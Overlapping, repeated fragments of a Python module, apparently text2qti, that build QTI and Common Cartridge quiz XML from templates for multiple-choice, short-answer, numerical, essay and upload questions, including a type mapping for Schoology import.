http://www.imsglobal.org/profile/cc/ccv1p2/ccv1p2_qtiasiv1p2p1_v1p0.xsd\"> <assessment ident=\"{assessment_identifier}\" title=\"{title}\"> <qtimetadata> <qtimetadatafield> <fieldlabel>cc_maxattempts</fieldlabel> <fieldentry>1</fieldentry>", "quiz: Quiz, assessment_identifier: str, title_xml: str) -> str: ''' Generate", "# Copyright (c) 2020, <NAME> # All rights reserved. #", "ITEM_PRESENTATION_MCTF_CHOICE = '''\\ <response_label ident=\"{ident}\"> <material> <mattext texttype=\"text/html\">{choice_html_xml}</mattext> </material> </response_label>'''", "linkrefid=\"correct_fb\"/> </respcondition> ''' ITEM_RESPROCESSING_MCTF_SET_CORRECT_NO_FEEDBACK = '''\\ <respcondition continue=\"No\"> <conditionvar> <varequal", "None: resprocessing.append(ITEM_RESPROCESSING_SHORTANS_CHOICE_FEEDBACK.format(ident=f'text2qti_choice_{choice.id}', answer_xml=choice.choice_xml)) varequal = [] for choice in question.choices:", "''' ITEM_RESPROCESSING_MCTF_INCORRECT_FEEDBACK = '''\\ <respcondition continue=\"Yes\"> <conditionvar> <other/> </conditionvar> <displayfeedback", "feedbacktype=\"Response\" linkrefid=\"correct_fb\"/> </respcondition> ''' ITEM_RESPROCESSING_SHORTANS_SET_CORRECT_NO_FEEDBACK = '''\\ <respcondition continue=\"No\"> <conditionvar>", "</and> </conditionvar> <setvar action=\"Set\" varname=\"SCORE\">100</setvar> </respcondition> ''' ITEM_RESPROCESSING_MULTANS_SET_CORRECT_VAREQUAL_CORRECT = '''\\", "ITEM_RESPROCESSING_NUM_EXACT_SET_CORRECT_NO_FEEDBACK else: if question.numerical_exact is None: item_resprocessing_num_set_correct = ITEM_RESPROCESSING_NUM_RANGE_SET_CORRECT_WITH_FEEDBACK else:", "</respcondition> ''' ITEM_RESPROCESSING_MULTANS_SET_CORRECT_VAREQUAL_CORRECT = '''\\ <varequal respident=\"response1\">{ident}</varequal>''' ITEM_RESPROCESSING_MULTANS_SET_CORRECT_VAREQUAL_INCORRECT = '''\\", "= '''\\ <varequal respident=\"response1\">{ident}</varequal>''' ITEM_RESPROCESSING_MULTANS_SET_CORRECT_VAREQUAL_INCORRECT = '''\\ <not> <varequal respident=\"response1\">{ident}</varequal>", "is None: if question.numerical_exact is None: item_resprocessing_num_set_correct = ITEM_RESPROCESSING_NUM_RANGE_SET_CORRECT_NO_FEEDBACK else:", "the BSD 3-Clause License: # http://opensource.org/licenses/BSD-3-Clause # from .quiz import", "BSD 3-Clause License: # http://opensource.org/licenses/BSD-3-Clause # from .quiz import Quiz,", "respident=\"response1\">{answer_xml}</varequal> </conditionvar> <displayfeedback feedbacktype=\"Response\" linkrefid=\"{ident}_fb\"/> </respcondition> ''' ITEM_RESPROCESSING_SHORTANS_SET_CORRECT_WITH_FEEDBACK = '''\\", "item_resprocessing_num_set_correct = ITEM_RESPROCESSING_NUM_EXACT_SET_CORRECT_NO_FEEDBACK else: if question.numerical_exact is None: item_resprocessing_num_set_correct =", "</conditionvar> <displayfeedback feedbacktype=\"Response\" linkrefid=\"{ident}_fb\"/> </respcondition> ''' ITEM_RESPROCESSING_SHORTANS_SET_CORRECT_WITH_FEEDBACK = '''\\ <respcondition", "for c in question.choices) xml.append(item_presentation.format(question_html_xml=question.question_html_xml, choices=choices)) elif question.type == 'short_answer_question':", "question = question_or_delim xml.append(START_ITEM.format(question_identifier=f'text2qti_question_{question.id}', question_title=question.title_xml)) if question.type in ('true_false_question', 'multiple_choice_question',", "if question.feedback_raw is not None: resprocessing.append(ITEM_RESPROCESSING_MCTF_GENERAL_FEEDBACK) for choice in question.choices:", "<varequal respident=\"response1\">{ident}</varequal> </not>''' ITEM_RESPROCESSING_MULTANS_INCORRECT_FEEDBACK = ITEM_RESPROCESSING_MCTF_INCORRECT_FEEDBACK ITEM_RESPROCESSING_ESSAY_GENERAL_FEEDBACK = ITEM_RESPROCESSING_MCTF_GENERAL_FEEDBACK ITEM_RESPROCESSING_UPLOAD_GENERAL_FEEDBACK", "'multiple_choice_question', 'short_answer_question', 'multiple_answers_question'): for choice in question.choices: if choice.feedback_raw is", "<qtimetadatafield> <fieldlabel> qmd_assessmenttype </fieldlabel> <fieldentry> Examination </fieldentry> </qtimetadatafield> </qtimetadata> <section", "is not None: resprocessing.append(ITEM_RESPROCESSING_MCTF_INCORRECT_FEEDBACK) resprocessing.append(ITEM_RESPROCESSING_END) xml.extend(resprocessing) elif question.type == 'short_answer_question':", "not None: xml.append(ITEM_FEEDBACK_MCTF_SHORTANS_MULTANS_NUM_INCORRECT.format(feedback=question.incorrect_feedback_html_xml)) if question.type in ('true_false_question', 'multiple_choice_question', 'short_answer_question', 'multiple_answers_question'):", "</item> ''' ITEM_METADATA_MCTF_SHORTANS_MULTANS_NUM = '''\\ <itemmetadata> <qtimetadata> <qtimetadatafield> <fieldlabel>cc_profile</fieldlabel> <fieldentry>{question_type}</fieldentry>", "</respcondition> ''' ITEM_RESPROCESSING_NUM_INCORRECT_FEEDBACK = ITEM_RESPROCESSING_MCTF_INCORRECT_FEEDBACK ITEM_RESPROCESSING_ESSAY = '''\\ <respcondition continue=\"No\">", "quiz.questions_and_delims: if isinstance(question_or_delim, TextRegion): xml.append(TEXT.format(ident=f'text2qti_text_{question_or_delim.id}', text_title_xml=question_or_delim.title_xml, assessment_question_identifierref=f'text2qti_question_ref_{question_or_delim.id}', text_html_xml=question_or_delim.text_html_xml)) continue if", "if question.feedback_raw is not None: xml.append(ITEM_RESPROCESSING_UPLOAD_GENERAL_FEEDBACK) xml.append(ITEM_RESPROCESSING_END) else: raise ValueError", "<varequal respident=\"response1\">{ident}</varequal> </conditionvar> <displayfeedback feedbacktype=\"Response\" linkrefid=\"{ident}_fb\"/> </respcondition> ''' ITEM_RESPROCESSING_MCTF_SET_CORRECT_WITH_FEEDBACK =", "ITEM_RESPROCESSING_NUM_EXACT_SET_CORRECT_NO_FEEDBACK = '''\\ <respcondition continue=\"No\"> <conditionvar> <or> <varequal respident=\"response1\">{num_exact}</varequal> <and>", "''' ITEM_FEEDBACK_MCTF_SHORTANS_MULTANS_NUM_INDIVIDUAL = '''\\ <itemfeedback ident=\"{ident}_fb\"> <flow_mat> <material> <mattext texttype=\"text/html\">{feedback}</mattext>", "if question.correct_feedback_raw is not None: resprocessing.append(ITEM_RESPROCESSING_MCTF_SET_CORRECT_WITH_FEEDBACK.format(ident=f'text2qti_choice_{correct_choice.id}')) else: resprocessing.append(ITEM_RESPROCESSING_MCTF_SET_CORRECT_NO_FEEDBACK.format(ident=f'text2qti_choice_{correct_choice.id}')) if question.incorrect_feedback_raw", "<fieldentry> cc.exam.v0p1 </fieldentry> </qtimetadatafield> <qtimetadatafield> <fieldlabel> qmd_assessmenttype </fieldlabel> <fieldentry> Examination", "question.type == 'short_answer_question': resprocessing = [] resprocessing.append(ITEM_RESPROCESSING_START) if question.feedback_raw is", "elif question.type == 'multiple_answers_question': resprocessing = [] resprocessing.append(ITEM_RESPROCESSING_START) if question.feedback_raw", "question.type == 'essay_question': item_metadata = ITEM_METADATA_ESSAY original_answer_ids = f'text2qti_essay_{question.id}' elif", "''' ITEM_PRESENTATION_ESSAY = '''\\ <presentation> <material> <mattext texttype=\"text/html\">{question_html_xml}</mattext> </material> <response_str", "'''\\ <respcondition continue=\"Yes\"> <conditionvar> <other/> </conditionvar> <displayfeedback feedbacktype=\"Response\" linkrefid=\"general_incorrect_fb\"/> </respcondition>", "is not None: resprocessing.append(ITEM_RESPROCESSING_SHORTANS_SET_CORRECT_WITH_FEEDBACK.format(varequal='\\n'.join(varequal))) else: resprocessing.append(ITEM_RESPROCESSING_SHORTANS_SET_CORRECT_NO_FEEDBACK.format(varequal='\\n'.join(varequal))) if question.incorrect_feedback_raw is not", "<material> <mattext texttype=\"text/html\">{question_html_xml}</mattext> </material> <response_lid ident=\"response1\" rcardinality=\"Single\"> <render_choice> {choices} </render_choice>", "'''\\ <item ident=\"{ident}\" title=\"{text_title_xml}\"> <itemmetadata> <qtimetadata> <qtimetadatafield> <fieldlabel>cc_profile</fieldlabel> <fieldentry>text_only_question</fieldentry> </qtimetadatafield>", "choice in question.choices: if choice.feedback_raw is not None: resprocessing.append(ITEM_RESPROCESSING_MULTANS_CHOICE_FEEDBACK.format(ident=f'text2qti_choice_{choice.id}')) varequal", "= ITEM_RESPROCESSING_NUM_RANGE_SET_CORRECT_WITH_FEEDBACK else: item_resprocessing_num_set_correct = ITEM_RESPROCESSING_NUM_EXACT_SET_CORRECT_WITH_FEEDBACK xml.append(item_resprocessing_num_set_correct.format(num_min=question.numerical_min_html_xml, num_exact=question.numerical_exact_html_xml, num_max=question.numerical_max_html_xml)) if", "not None: xml.append(ITEM_RESPROCESSING_UPLOAD_GENERAL_FEEDBACK) xml.append(ITEM_RESPROCESSING_END) else: raise ValueError if question.type in", "</flow_mat> </itemfeedback> ''' ITEM_FEEDBACK_MCTF_SHORTANS_MULTANS_NUM_CORRECT = '''\\ <itemfeedback ident=\"correct_fb\"> <flow_mat> <material>", "ident=\"root_section\"> ''' AFTER_ITEMS = '''\\ </section> </assessment> </questestinterop> ''' GROUP_START", "varequal.append(ITEM_RESPROCESSING_SHORTANS_SET_CORRECT_VAREQUAL.format(answer_xml=choice.choice_xml)) if question.correct_feedback_raw is not None: resprocessing.append(ITEM_RESPROCESSING_SHORTANS_SET_CORRECT_WITH_FEEDBACK.format(varequal='\\n'.join(varequal))) else: resprocessing.append(ITEM_RESPROCESSING_SHORTANS_SET_CORRECT_NO_FEEDBACK.format(varequal='\\n'.join(varequal))) if", "question.incorrect_feedback_raw is not None: xml.append(ITEM_FEEDBACK_MCTF_SHORTANS_MULTANS_NUM_INCORRECT.format(feedback=question.incorrect_feedback_html_xml)) if question.type in ('true_false_question', 'multiple_choice_question',", "is not None: xml.append(ITEM_FEEDBACK_MCTF_SHORTANS_MULTANS_NUM_GENERAL.format(feedback=question.feedback_html_xml)) if question.correct_feedback_raw is not None: xml.append(ITEM_FEEDBACK_MCTF_SHORTANS_MULTANS_NUM_CORRECT.format(feedback=question.correct_feedback_html_xml))", "ITEM_RESPROCESSING_MCTF_INCORRECT_FEEDBACK ITEM_RESPROCESSING_ESSAY_GENERAL_FEEDBACK = ITEM_RESPROCESSING_MCTF_GENERAL_FEEDBACK ITEM_RESPROCESSING_UPLOAD_GENERAL_FEEDBACK = ITEM_RESPROCESSING_MCTF_GENERAL_FEEDBACK ITEM_RESPROCESSING_NUM_GENERAL_FEEDBACK = ITEM_RESPROCESSING_MCTF_GENERAL_FEEDBACK", "<qtimetadata> <qtimetadatafield> <fieldlabel>cc_maxattempts</fieldlabel> <fieldentry>1</fieldentry> </qtimetadatafield> <qtimetadatafield> <fieldlabel> cc_profile </fieldlabel> <fieldentry>", "TypeError resprocessing = [] resprocessing.append(ITEM_RESPROCESSING_START) if question.feedback_raw is not None:", "<flow_mat> <material> <mattext texttype=\"text/html\">{feedback}</mattext> </material> </flow_mat> </itemfeedback> ''' ITEM_FEEDBACK_MCTF_SHORTANS_MULTANS_NUM_INCORRECT =", "question.type in ('true_false_question', 'multiple_choice_question', 'multiple_answers_question'): if question.type in ('true_false_question', 'multiple_choice_question'):", "break if correct_choice is None: raise TypeError resprocessing = []", "</respcondition> ''' ITEM_RESPROCESSING_SHORTANS_GENERAL_FEEDBACK = ITEM_RESPROCESSING_MCTF_GENERAL_FEEDBACK ITEM_RESPROCESSING_SHORTANS_CHOICE_FEEDBACK = '''\\ <respcondition continue=\"Yes\">", "ITEM_RESPROCESSING_MCTF_GENERAL_FEEDBACK ITEM_RESPROCESSING_MULTANS_CHOICE_FEEDBACK = ITEM_RESPROCESSING_MCTF_CHOICE_FEEDBACK ITEM_RESPROCESSING_MULTANS_SET_CORRECT_WITH_FEEDBACK = '''\\ <respcondition continue=\"No\"> <conditionvar>", "'short_answer_question', 'multiple_answers_question'): item_metadata = ITEM_METADATA_MCTF_SHORTANS_MULTANS_NUM original_answer_ids = ','.join(f'text2qti_choice_{c.id}' for c", "= '''\\ </item> ''' ITEM_METADATA_MCTF_SHORTANS_MULTANS_NUM = '''\\ <itemmetadata> <qtimetadata> <qtimetadatafield>", "resprocessing = [] resprocessing.append(ITEM_RESPROCESSING_START) if question.feedback_raw is not None: resprocessing.append(ITEM_RESPROCESSING_SHORTANS_GENERAL_FEEDBACK)", "<selection> <selection_number>{pick}</selection_number> <selection_extension> <points_per_item>{points_per_item}</points_per_item> </selection_extension> </selection> </selection_ordering> ''' GROUP_END =", "3-Clause License: # http://opensource.org/licenses/BSD-3-Clause # from .quiz import Quiz, Question,", "<displayfeedback feedbacktype=\"Response\" linkrefid=\"correct_fb\"/> </respcondition> ''' ITEM_RESPROCESSING_MULTANS_SET_CORRECT_NO_FEEDBACK = '''\\ <respcondition continue=\"No\">", "not None: resprocessing.append(ITEM_RESPROCESSING_SHORTANS_CHOICE_FEEDBACK.format(ident=f'text2qti_choice_{choice.id}', answer_xml=choice.choice_xml)) varequal = [] for choice in", "varequal = [] for choice in question.choices: varequal.append(ITEM_RESPROCESSING_SHORTANS_SET_CORRECT_VAREQUAL.format(answer_xml=choice.choice_xml)) if question.correct_feedback_raw", "<presentation> <material> <mattext texttype=\"text/html\">{text_html_xml}</mattext> </material> </presentation> </item> ''' START_ITEM =", "</itemmetadata> ''' ITEM_METADATA_ESSAY = ITEM_METADATA_MCTF_SHORTANS_MULTANS_NUM.replace('{original_answer_ids}', '') ITEM_METADATA_UPLOAD = ITEM_METADATA_ESSAY ITEM_PRESENTATION_MCTF", "'numerical_question': xml.append(ITEM_RESPROCESSING_START) if question.feedback_raw is not None: xml.append(ITEM_RESPROCESSING_NUM_GENERAL_FEEDBACK) if question.correct_feedback_raw", "</fieldlabel> <fieldentry> cc.exam.v0p1 </fieldentry> </qtimetadatafield> <qtimetadatafield> <fieldlabel> qmd_assessmenttype </fieldlabel> <fieldentry>", "<conditionvar> <varequal respident=\"response1\">{ident}</varequal> </conditionvar> <displayfeedback feedbacktype=\"Response\" linkrefid=\"{ident}_fb\"/> </respcondition> ''' ITEM_RESPROCESSING_MCTF_SET_CORRECT_WITH_FEEDBACK", "== 'true_false_question': typechange = 'cc.true_false.v0p1' elif question.type == 'short_answer_question': typechange", "== 'file_upload_question': item_metadata = ITEM_METADATA_UPLOAD original_answer_ids = f'text2qti_upload_{question.id}' else: raise", "is not None: resprocessing.append(ITEM_RESPROCESSING_SHORTANS_CHOICE_FEEDBACK.format(ident=f'text2qti_choice_{choice.id}', answer_xml=choice.choice_xml)) varequal = [] for choice", "<qtimetadatafield> <fieldlabel>cc_maxattempts</fieldlabel> <fieldentry>1</fieldentry> </qtimetadatafield> <qtimetadatafield> <fieldlabel> cc_profile </fieldlabel> <fieldentry> cc.exam.v0p1", "ITEM_RESPROCESSING_MCTF_GENERAL_FEEDBACK ITEM_RESPROCESSING_NUM_RANGE_SET_CORRECT_WITH_FEEDBACK = '''\\ <respcondition continue=\"No\"> <conditionvar> <vargte respident=\"response1\">{num_min}</vargte> <varlte", "'''\\ <presentation> <material> <mattext texttype=\"text/html\">{question_html_xml}</mattext> </material> </presentation> ''' ITEM_PRESENTATION_NUM =", "resprocessing.append(ITEM_RESPROCESSING_SHORTANS_CHOICE_FEEDBACK.format(ident=f'text2qti_choice_{choice.id}', answer_xml=choice.choice_xml)) varequal = [] for choice in question.choices: varequal.append(ITEM_RESPROCESSING_SHORTANS_SET_CORRECT_VAREQUAL.format(answer_xml=choice.choice_xml))", "question.incorrect_feedback_raw is not None: xml.append(ITEM_RESPROCESSING_NUM_INCORRECT_FEEDBACK) xml.append(ITEM_RESPROCESSING_END) elif question.type == 'essay_question':", "<conditionvar> <vargte respident=\"response1\">{num_min}</vargte> <varlte respident=\"response1\">{num_max}</varlte> </conditionvar> <setvar action=\"Set\" varname=\"SCORE\">100</setvar> <displayfeedback", "if question.numerical_exact is None: item_resprocessing_num_set_correct = ITEM_RESPROCESSING_NUM_RANGE_SET_CORRECT_NO_FEEDBACK else: item_resprocessing_num_set_correct =", "= ITEM_RESPROCESSING_MCTF_INCORRECT_FEEDBACK ITEM_RESPROCESSING_MULTANS_GENERAL_FEEDBACK = ITEM_RESPROCESSING_MCTF_GENERAL_FEEDBACK ITEM_RESPROCESSING_MULTANS_CHOICE_FEEDBACK = ITEM_RESPROCESSING_MCTF_CHOICE_FEEDBACK ITEM_RESPROCESSING_MULTANS_SET_CORRECT_WITH_FEEDBACK =", "<respcondition continue=\"No\"> <conditionvar> {varequal} </conditionvar> <setvar action=\"Set\" varname=\"SCORE\">100</setvar> </respcondition> '''", "'cc.multiple_response.v0p1' elif question.type == 'essay_question': typechange = 'cc.essay.v0p1' else: typechange", "else: varequal.append(ITEM_RESPROCESSING_MULTANS_SET_CORRECT_VAREQUAL_INCORRECT.format(ident=f'text2qti_choice_{choice.id}')) if question.correct_feedback_raw is not None: resprocessing.append(ITEM_RESPROCESSING_MULTANS_SET_CORRECT_WITH_FEEDBACK.format(varequal='\\n'.join(varequal))) else: resprocessing.append(ITEM_RESPROCESSING_MULTANS_SET_CORRECT_NO_FEEDBACK.format(varequal='\\n'.join(varequal)))", "varequal = [] for choice in question.choices: if choice.correct: varequal.append(ITEM_RESPROCESSING_MULTANS_SET_CORRECT_VAREQUAL_CORRECT.format(ident=f'text2qti_choice_{choice.id}'))", "<outcomes> <decvar maxvalue=\"100\" minvalue=\"0\" varname=\"SCORE\" vartype=\"Decimal\"/> </outcomes> ''' ITEM_RESPROCESSING_MCTF_GENERAL_FEEDBACK =", "varname=\"SCORE\">100</setvar> </respcondition> ''' ITEM_RESPROCESSING_NUM_EXACT_SET_CORRECT_WITH_FEEDBACK = '''\\ <respcondition continue=\"No\"> <conditionvar> <or>", "</conditionvar> <setvar action=\"Set\" varname=\"SCORE\">100</setvar> <displayfeedback feedbacktype=\"Response\" linkrefid=\"correct_fb\"/> </respcondition> ''' ITEM_RESPROCESSING_SHORTANS_SET_CORRECT_NO_FEEDBACK", "</resprocessing> ''' ITEM_FEEDBACK_MCTF_SHORTANS_MULTANS_NUM_GENERAL = '''\\ <itemfeedback ident=\"general_fb\"> <flow_mat> <material> <mattext", "linkrefid=\"general_incorrect_fb\"/> </respcondition> ''' ITEM_RESPROCESSING_SHORTANS_GENERAL_FEEDBACK = ITEM_RESPROCESSING_MCTF_GENERAL_FEEDBACK ITEM_RESPROCESSING_SHORTANS_CHOICE_FEEDBACK = '''\\ <respcondition", "for c in question.choices) elif question.type == 'numerical_question': item_metadata =", "<respcondition continue=\"No\"> <conditionvar> <or> <varequal respident=\"response1\">{num_exact}</varequal> <and> <vargte respident=\"response1\">{num_min}</vargte> <varlte", "not None: resprocessing.append(ITEM_RESPROCESSING_SHORTANS_SET_CORRECT_WITH_FEEDBACK.format(varequal='\\n'.join(varequal))) else: resprocessing.append(ITEM_RESPROCESSING_SHORTANS_SET_CORRECT_NO_FEEDBACK.format(varequal='\\n'.join(varequal))) if question.incorrect_feedback_raw is not None:", "not None: xml.append(ITEM_RESPROCESSING_ESSAY_GENERAL_FEEDBACK) xml.append(ITEM_RESPROCESSING_END) elif question.type == 'file_upload_question': xml.append(ITEM_RESPROCESSING_START) if", "</conditionvar> <setvar action=\"Set\" varname=\"SCORE\">100</setvar> </respcondition> ''' ITEM_RESPROCESSING_MULTANS_SET_CORRECT_VAREQUAL_CORRECT = '''\\ <varequal", "[] for choice in question.choices: if choice.correct: varequal.append(ITEM_RESPROCESSING_MULTANS_SET_CORRECT_VAREQUAL_CORRECT.format(ident=f'text2qti_choice_{choice.id}')) else: varequal.append(ITEM_RESPROCESSING_MULTANS_SET_CORRECT_VAREQUAL_INCORRECT.format(ident=f'text2qti_choice_{choice.id}'))", "<points_per_item>{points_per_item}</points_per_item> </selection_extension> </selection> </selection_ordering> ''' GROUP_END = '''\\ </section> '''", "== 'numerical_question': xml.append(ITEM_PRESENTATION_NUM.format(question_html_xml=question.question_html_xml)) elif question.type == 'essay_question': xml.append(ITEM_PRESENTATION_ESSAY.format(question_html_xml=question.question_html_xml)) elif question.type", "[] resprocessing.append(ITEM_RESPROCESSING_START) if question.feedback_raw is not None: resprocessing.append(ITEM_RESPROCESSING_MCTF_GENERAL_FEEDBACK) for choice", "= '''\\ </section> </assessment> </questestinterop> ''' GROUP_START = '''\\ <section", "</material> <response_str ident=\"response1\" rcardinality=\"Single\"> <render_fib> <response_label ident=\"answer1\" rshuffle=\"No\"/> </render_fib> </response_str>", "ITEM_RESPROCESSING_SHORTANS_SET_CORRECT_WITH_FEEDBACK = '''\\ <respcondition continue=\"No\"> <conditionvar> {varequal} </conditionvar> <setvar action=\"Set\"", "= 'cc.multiple_response.v0p1' elif question.type == 'essay_question': typechange = 'cc.essay.v0p1' else:", "= ITEM_RESPROCESSING_NUM_EXACT_SET_CORRECT_WITH_FEEDBACK xml.append(item_resprocessing_num_set_correct.format(num_min=question.numerical_min_html_xml, num_exact=question.numerical_exact_html_xml, num_max=question.numerical_max_html_xml)) if question.incorrect_feedback_raw is not None:", "question.correct_feedback_raw is not None: resprocessing.append(ITEM_RESPROCESSING_MCTF_SET_CORRECT_WITH_FEEDBACK.format(ident=f'text2qti_choice_{correct_choice.id}')) else: resprocessing.append(ITEM_RESPROCESSING_MCTF_SET_CORRECT_NO_FEEDBACK.format(ident=f'text2qti_choice_{correct_choice.id}')) if question.incorrect_feedback_raw is", "ITEM_RESPROCESSING_NUM_RANGE_SET_CORRECT_NO_FEEDBACK else: item_resprocessing_num_set_correct = ITEM_RESPROCESSING_NUM_EXACT_SET_CORRECT_NO_FEEDBACK else: if question.numerical_exact is None:", "= '''\\ <respcondition continue=\"No\"> <conditionvar> <other/> </conditionvar> </respcondition> ''' ITEM_RESPROCESSING_END", "typechange = 'cc.multiple_choice.v0p1' elif question.type == 'true_false_question': typechange = 'cc.true_false.v0p1'", "xml.append(ITEM_FEEDBACK_MCTF_SHORTANS_MULTANS_NUM_CORRECT.format(feedback=question.correct_feedback_html_xml)) if question.incorrect_feedback_raw is not None: xml.append(ITEM_FEEDBACK_MCTF_SHORTANS_MULTANS_NUM_INCORRECT.format(feedback=question.incorrect_feedback_html_xml)) if question.type in", "# All rights reserved. # # Licensed under the BSD", "''' ITEM_RESPROCESSING_MCTF_CHOICE_FEEDBACK = '''\\ <respcondition continue=\"Yes\"> <conditionvar> <varequal respident=\"response1\">{ident}</varequal> </conditionvar>", "action=\"Set\" varname=\"SCORE\">100</setvar> </respcondition> ''' ITEM_RESPROCESSING_NUM_EXACT_SET_CORRECT_WITH_FEEDBACK = '''\\ <respcondition continue=\"No\"> <conditionvar>", "continue=\"No\"> <conditionvar> <varequal respident=\"response1\">{ident}</varequal> </conditionvar> <setvar action=\"Set\" varname=\"SCORE\">100</setvar> </respcondition> '''", "f'text2qti_upload_{question.id}' else: raise ValueError #Type Change for Schoology CC Import", "<selection_extension> <points_per_item>{points_per_item}</points_per_item> </selection_extension> </selection> </selection_ordering> ''' GROUP_END = '''\\ </section>", "action=\"Set\" varname=\"SCORE\">100</setvar> <displayfeedback feedbacktype=\"Response\" linkrefid=\"correct_fb\"/> </respcondition> ''' ITEM_RESPROCESSING_NUM_RANGE_SET_CORRECT_NO_FEEDBACK = '''\\", "typechange = question.type xml.append(item_metadata.format(question_type=typechange, points_possible=question.points_possible, original_answer_ids=original_answer_ids, assessment_question_identifierref=f'text2qti_question_ref_{question.id}')) if question.type in", "choice_html_xml=c.choice_html_xml) for c in question.choices) xml.append(item_presentation.format(question_html_xml=question.question_html_xml, choices=choices)) elif question.type ==", "<qtimetadatafield> <fieldlabel>cc_profile</fieldlabel> <fieldentry>{question_type}</fieldentry> </qtimetadatafield> <qtimetadatafield> <fieldlabel>points_possible</fieldlabel> <fieldentry>{points_possible}</fieldentry> </qtimetadatafield> <qtimetadatafield> <fieldlabel>original_answer_ids</fieldlabel>", "<and> <vargte respident=\"response1\">{num_min}</vargte> <varlte respident=\"response1\">{num_max}</varlte> </and> </or> </conditionvar> <setvar action=\"Set\"", "if choice.feedback_raw is not None: resprocessing.append(ITEM_RESPROCESSING_MULTANS_CHOICE_FEEDBACK.format(ident=f'text2qti_choice_{choice.id}')) varequal = [] for", "</respcondition> ''' ITEM_RESPROCESSING_MCTF_SET_CORRECT_NO_FEEDBACK = '''\\ <respcondition continue=\"No\"> <conditionvar> <varequal respident=\"response1\">{ident}</varequal>", "<render_choice> {choices} </render_choice> </response_lid> </presentation> ''' ITEM_PRESENTATION_MCTF_CHOICE = '''\\ <response_label", "ITEM_METADATA_MCTF_SHORTANS_MULTANS_NUM original_answer_ids = ','.join(f'text2qti_choice_{c.id}' for c in question.choices) elif question.type", "('true_false_question', 'multiple_choice_question'): item_presentation_choice = ITEM_PRESENTATION_MCTF_CHOICE item_presentation = ITEM_PRESENTATION_MCTF elif question.type", "None: xml.append(ITEM_RESPROCESSING_ESSAY_GENERAL_FEEDBACK) xml.append(ITEM_RESPROCESSING_END) elif question.type == 'file_upload_question': xml.append(ITEM_RESPROCESSING_START) if question.feedback_raw", "version=\"1.0\" encoding=\"UTF-8\"?> <questestinterop xmlns=\"http://www.imsglobal.org/xsd/ims_qtiasiv1p2\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://www.imsglobal.org/xsd/ims_qtiasiv1p2 http://www.imsglobal.org/profile/cc/ccv1p2/ccv1p2_qtiasiv1p2p1_v1p0.xsd\"> <assessment ident=\"{assessment_identifier}\" title=\"{title}\">", "ITEM_PRESENTATION_MCTF_CHOICE ITEM_PRESENTATION_SHORTANS = '''\\ <presentation> <material> <mattext texttype=\"text/html\">{question_html_xml}</mattext> </material> <response_str", "texttype=\"text/html\">{question_html_xml}</mattext> </material> </presentation> ''' ITEM_PRESENTATION_NUM = '''\\ <presentation> <material> <mattext", "<mattext texttype=\"text/html\">{text_html_xml}</mattext> </material> </presentation> </item> ''' START_ITEM = '''\\ <item", "'''\\ <?xml version=\"1.0\" encoding=\"UTF-8\"?> <questestinterop xmlns=\"http://www.imsglobal.org/xsd/ims_qtiasiv1p2\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://www.imsglobal.org/xsd/ims_qtiasiv1p2 http://www.imsglobal.org/profile/cc/ccv1p2/ccv1p2_qtiasiv1p2p1_v1p0.xsd\"> <assessment", "<setvar action=\"Set\" varname=\"SCORE\">100</setvar> <displayfeedback feedbacktype=\"Response\" linkrefid=\"correct_fb\"/> </respcondition> ''' ITEM_RESPROCESSING_NUM_RANGE_SET_CORRECT_NO_FEEDBACK =", "question.type == 'true_false_question': typechange = 'cc.true_false.v0p1' elif question.type == 'short_answer_question':", "None: resprocessing.append(ITEM_RESPROCESSING_MULTANS_INCORRECT_FEEDBACK) resprocessing.append(ITEM_RESPROCESSING_END) xml.extend(resprocessing) elif question.type == 'numerical_question': xml.append(ITEM_RESPROCESSING_START) if", "= '''\\ <presentation> <material> <mattext texttype=\"text/html\">{question_html_xml}</mattext> </material> <response_lid ident=\"response1\" rcardinality=\"Single\">", "action=\"Set\" varname=\"SCORE\">100</setvar> </respcondition> ''' ITEM_RESPROCESSING_SHORTANS_SET_CORRECT_VAREQUAL = '''\\ <varequal respident=\"response1\">{answer_xml}</varequal>''' ITEM_RESPROCESSING_SHORTANS_INCORRECT_FEEDBACK", "ITEM_RESPROCESSING_NUM_INCORRECT_FEEDBACK = ITEM_RESPROCESSING_MCTF_INCORRECT_FEEDBACK ITEM_RESPROCESSING_ESSAY = '''\\ <respcondition continue=\"No\"> <conditionvar> <other/>", "ITEM_RESPROCESSING_MULTANS_INCORRECT_FEEDBACK = ITEM_RESPROCESSING_MCTF_INCORRECT_FEEDBACK ITEM_RESPROCESSING_ESSAY_GENERAL_FEEDBACK = ITEM_RESPROCESSING_MCTF_GENERAL_FEEDBACK ITEM_RESPROCESSING_UPLOAD_GENERAL_FEEDBACK = ITEM_RESPROCESSING_MCTF_GENERAL_FEEDBACK ITEM_RESPROCESSING_NUM_GENERAL_FEEDBACK", "elif question.type == 'file_upload_question': xml.append(ITEM_PRESENTATION_UPLOAD.format(question_html_xml=question.question_html_xml)) else: raise ValueError if question.type", "END_ITEM = '''\\ </item> ''' ITEM_METADATA_MCTF_SHORTANS_MULTANS_NUM = '''\\ <itemmetadata> <qtimetadata>", "xml.append(item_presentation.format(question_html_xml=question.question_html_xml, choices=choices)) elif question.type == 'short_answer_question': xml.append(ITEM_PRESENTATION_SHORTANS.format(question_html_xml=question.question_html_xml)) elif question.type ==", "resprocessing.append(ITEM_RESPROCESSING_SHORTANS_GENERAL_FEEDBACK) for choice in question.choices: if choice.feedback_raw is not None:", "<itemfeedback ident=\"general_incorrect_fb\"> <flow_mat> <material> <mattext texttype=\"text/html\">{feedback}</mattext> </material> </flow_mat> </itemfeedback> '''", "question.numerical_exact is None: item_resprocessing_num_set_correct = ITEM_RESPROCESSING_NUM_RANGE_SET_CORRECT_WITH_FEEDBACK else: item_resprocessing_num_set_correct = ITEM_RESPROCESSING_NUM_EXACT_SET_CORRECT_WITH_FEEDBACK", "<respcondition continue=\"Yes\"> <conditionvar> <varequal respident=\"response1\">{answer_xml}</varequal> </conditionvar> <displayfeedback feedbacktype=\"Response\" linkrefid=\"{ident}_fb\"/> </respcondition>", "varequal.append(ITEM_RESPROCESSING_MULTANS_SET_CORRECT_VAREQUAL_INCORRECT.format(ident=f'text2qti_choice_{choice.id}')) if question.correct_feedback_raw is not None: resprocessing.append(ITEM_RESPROCESSING_MULTANS_SET_CORRECT_WITH_FEEDBACK.format(varequal='\\n'.join(varequal))) else: 